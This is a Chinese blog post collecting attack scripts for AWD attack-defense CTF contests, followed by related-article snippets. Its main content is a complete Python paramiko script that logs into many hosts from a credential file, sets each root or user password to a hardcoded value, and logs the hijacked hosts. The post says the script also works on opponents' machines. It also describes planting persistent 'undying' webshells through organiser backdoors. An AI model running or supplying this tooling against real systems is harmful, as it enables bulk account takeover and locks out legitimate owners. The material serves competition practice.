情景五:批量修改ssh密码

拿到官方靶机第一件事改自己机器的ssh密码,当然也可以改别人的密码~

import paramiko
import sys ssh_clients = []
timeout = 5
new_password = "qing_@3389.." def get_flag():
pass class SSH_Client():
def __init__(self, host, port, username, password):
self.is_root = False
self.host = host
self.port = port
self.username = username
self.password = password
self.ssh = paramiko.SSHClient()
self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
self.ssh.connect(self.host, self.port, self.username, self.password, timeout=timeout) def exec_command(self, command):
stdin, stdout, stderr = self.ssh.exec_command(command)
return stdin, stdout, stderr def change_password(self):
stdin, stdout, stderr = self.exec_command("passwd")
if self.username != "root":
stdin.write("%s\n" % self.password)
stdin.write("%s\n" % new_password)
stdin.write("%s\n" % new_password)
stdout.read()
if "success" in stderr.read().decode('utf-8'):
self.password = new_password
return True
else:
return False def save_log(self, filename):
with open(filename, "a+") as f:
f.write("%s %s %s %s\n" % (self.host, self.port, self.username, self.password)) if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage:")
print("\t python %s [FILENAME]" % (sys.argv[0]))
exit(1)
filename = sys.argv[1]
print(" [+] Loading file : %s" % filename)
with open(filename) as f:
for line in f:
line = line.rstrip("\n")
data = line.split(" ")
host = data[0]
port = int(data[1])
username = data[2]
password = data[3]
print(" [+] Trying login : %s" % host)
try:
ssh_client = SSH_Client(host, port, username, password)
except Exception as e:
print(" [-] %s" % e)
continue
ssh_clients.append(ssh_client)
print(" [+] Login finished. ")
print(" [+} Got [%d] clients. " % len(ssh_clients))
if len(ssh_clients) == 0:
exit()
print(" [+] Starting changing password. ")
for ssh_client in ssh_clients:
if ssh_client.change_password():
print(" [+] %s (Success!)" % ssh_client.host)
ssh_client.save_log("success.log")
else:
print(" [+] %s (Failed!)" % ssh_client.host)
print(" [+] something like interesting!!! ")

情景六:批量种马

审计源码第一件事可能就找到官方的预留后门,开始第一波种马 ,这里用脚本直接用官方的马种不死马

AWD攻防工具脚本汇总(二)的更多相关文章

  1. AWD攻防工具脚本汇总(一)

    最近工作很忙 今天抽空准备下AWD比赛得攻防工具和脚本 以下只是常用 希望下周不被吊锤~~ 后续整理后想抽空写成一个攻击框架汇总放github~~ 这里从各种情景和需求中去总结工具和脚本的使用   情 ...

  2. CTF线下awd攻防文件监控脚本

    CTF线下awd攻防赛中常用一个文件监控脚本来保护文件,但是就博主对于该脚本的审计分析 发现如下的问题: 1.记录文件的路径未修改导致log暴露原文件备份文件夹:drops_JWI96TY7ZKNMQ ...

  3. Ubunut18 安装docker环境&&AWD攻防平台部署

    docker:有两个版本:docker-ce(社区版)和docker-ee(企业版). 参考官网地址:https://docs.docker.com/engine/installation/linux ...

  4. PHP常见面试题汇总(二)

    PHP常见面试题汇总(二)   //第51题:统计一维数组中所有值出现的次数?返回一个数组,其元素的键名是原数组的值;键值是该值在原数组中出现的次数 $array=array(4,5,1,2,3,1, ...

  5. (转载)android 一些工具类汇总

    android 一些工具类汇总 作者:曾田生z 字体:[增加 减小] 类型:转载 时间:2016-08-14我要评论 本文给大家汇总介绍了一些常用的Android工具类,非常的简单实用,有需要的小伙伴 ...

  6. embed-it_Integrator memory compile工具使用之二

    embed-it_Integrator memory compile工具使用之二 主要内容 使用ish接口自动加载memory的cfg文件运行生成memory 脚本内容 打开Integrate &am ...

  7. AWD攻防技战法

    round1 弱口令 cat /etc/passwd  查看用户信息 修改用户密码(passwd  username) 通过ssh弱口令批量getshell  (通过msf的auxiliary/sca ...

  8. Linux shell脚本编程(二)

    Linux shell脚本编程(二) 练习:求100以内所有偶数之和; 使用至少三种方法实现; 示例1: #!/bin/bash # declare -i sum=0 #声明一个变量求和,初始值为0 ...

  9. PowerShell工具脚本---按行数切割大文本文件

    我编写的PowerShell工具脚本,[按行数切割大(文本)文件],生成n个小文件. 主要目的是为了能够让excel快速处理.或用脚本并发处理文本. 注意: 1 如果有必要,你可以先用其他工具,把大文 ...

随机推荐

  1. SoloLear_C# Tutorial_Contents

    一.Basic Concepts 基本概念 二.Conditionals and Loops 条件语句和循环 三.Methods 方法 四.Classes&Objects 类&对象 五 ...

  2. myeclipse 保存含中文的jsp失败,提示内容含有 ISO-8859-1 不支持的字符

    就是这货,网上说各种设置首选项编码神马的,但我只是临时学一学jsp,装的myeclipse貌似不全,没有他们说的选项,后来发现了解决方案: 出错是因为我的jsp文件是用于在其他jsp中引入的,所以没有 ...

  3. CODESYS添加target

    1.主界面进入Tools 2.Install,选择安装包

  4. 字符串转化成int

    将str转化成int #include<stdio.h> #include<string> int err = 0; int str_to_int(char *s) { lon ...

  5. 从Hybrid到React-Native: JS在移动端的南征北战史

    注:因为不了解Dart,所以本文不对flutter相关内容进行阐述, 实在抱歉 Hybrid Hybird是一种混合开发应用,可以实现JS和Java代码的互通,单纯使用ios/android原生实现, ...

  6. windows下安装vue教程

    前言:前段时间学习了下vue,也算是能简单开发了,今天就记录下怎么通过vue-cli来安装vue. 因vue是基于node环境的,如果你还不会安装的话,可以看下我的这个教程:安装node.js和npm ...

  7. 文章导航-readme

    Spring-Boot Spring Boot(一) Hello World Redis 图解Redis之数据结构篇--简单动态字符串SDS 图解Redis之数据结构篇--链表 图解Redis之数据结 ...

  8. 网关鉴权后下游统一filter获取用户信息

    1. 场景描述 最近有点忙,在弄微服务nacos+springcloud gateway这块工作,以前只是简单应用,这次因为要对接10几个系统或者平台,还的鉴权,等后续稍微闲点了,把这块东西总结下. ...

  9. 讨论c/c++计算小数的精度问题

    求出所有100以下整数与一位小数相乘等于相加的浮点数这个有Bug浮点数计算时精度会出现误差 除非使用非常精确的类型或限制浮点的位数 比如 #include <iostream> int m ...

  10. centos6.9实时查看tomcat运行日志

    1.切换到tomcat的logs目录下 cd /usr/local/apache-tomcat-/logs 2.执行命令,查看日志 tail -f catalina.out 3.退出 Ctrl+c